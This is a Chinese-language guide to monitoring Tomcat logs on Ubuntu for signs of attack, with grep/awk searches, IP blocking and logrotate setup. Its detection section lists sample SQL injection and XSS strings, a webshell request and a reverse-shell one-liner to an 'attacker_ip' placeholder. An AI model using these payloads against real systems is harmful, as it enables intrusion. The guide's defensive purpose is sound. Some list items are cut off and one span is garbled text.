1. 定位Tomcat日志文件
Ubuntu系統中,Tomcat日志默認存儲在$CATALINA_HOME/logs
目錄($CATALINA_HOME
通常為Tomcat安裝路徑,如/opt/tomcat
)。關鍵日志文件包括:
/manager/html
)的操作日志(如部署、登錄嘗試)。2. 配置日志級別與內容
調整日志級別可捕獲更多安全相關信息:
$CATALINA_HOME/conf/logging.properties
,將org.apache.catalina
、org.apache.coyote
等包的日志級別從INFO
調整為FINE
或FINER
(如org.apache.catalina.level = FINE
),記錄更詳細的調試信息(如請求參數、會話操作);AccessLogValve
(在server.xml
中)記錄訪問日志的詳細字段,例如添加%r
(請求行,包含方法+URL+協議)、%s
(響應狀態碼)、%{User-Agent}i
(用戶代理),便于分析異常請求模式。3. 日志分析與異常識別
and 1=1
、union select
、from information_schema
等SQL語句(如/login?username=admin'--&password=123
);<script>
、onerror=alert()
等惡意腳本(如/comment?content=<script>alert(1)</script>
);/bin/bash
、certutil
)或反彈Shell語句(如bash -i >& /dev/tcp/attacker_ip/4444 0>&1
);/admin.php
、/shell.jsp
),參數含eval
、base64_decode
等函數(如/shell.jsp?cmd=whoami
);web.config
、/etc/passwd
、.bak
(備份文件)、WEB-INF/config.properties
等敏感資源。grep
命令快速查找異常關鍵詞,例如:grep -i "error\|exception\|sql injection\|xss" $CATALINA_HOME/logs/catalina.out # 查找錯誤與注入關鍵詞
grep -E "(union.*select|from\s+information_schema)" $CATALINA_HOME/logs/localhost_access_log.*.txt # 查找SQL注入痕跡
awk
或sort
統計高頻異常(如同一IP的404錯誤次數),例如:awk '$9 == 404 {print $1}' $CATALINA_HOME/logs/localhost_access_log.2025-09-23.txt | sort | uniq -c | sort -nr # 統計404錯誤的IP頻率
4. 響應與加固措施
iptables
臨時封禁:sudo iptables -A INPUT -s suspicious_ip -j DROP # 封禁可疑IP
OPTIONS
、DELETE
、PUT
,在web.xml
中配置安全約束)、隱藏Tomcat版本號(在server.xml
中設置server="Apache"
)、啟用HTTPS(配置SSL/TLS證書);5. 日志管理與維護
logrotate
避免日志文件過大(如每天分割catalina.out
),保留30天歷史日志以便回溯:sudo nano /etc/logrotate.d/tomcat # 創建或編輯配置文件
添加以下內容:/opt/tomcat/logs/catalina.out {
daily
rotate 30
compress
missingok
notifempty
copytruncate
}
tomcat
)讀?。ū苊饷舾行畔⑿孤叮?,例如:sudo chown -R tomcat:tomcat $CATALINA_HOME/logs # 設置日志目錄所有者
sudo chmod -R 640 $CATALINA_HOME/logs/*.log # 設置日志文件權限
```。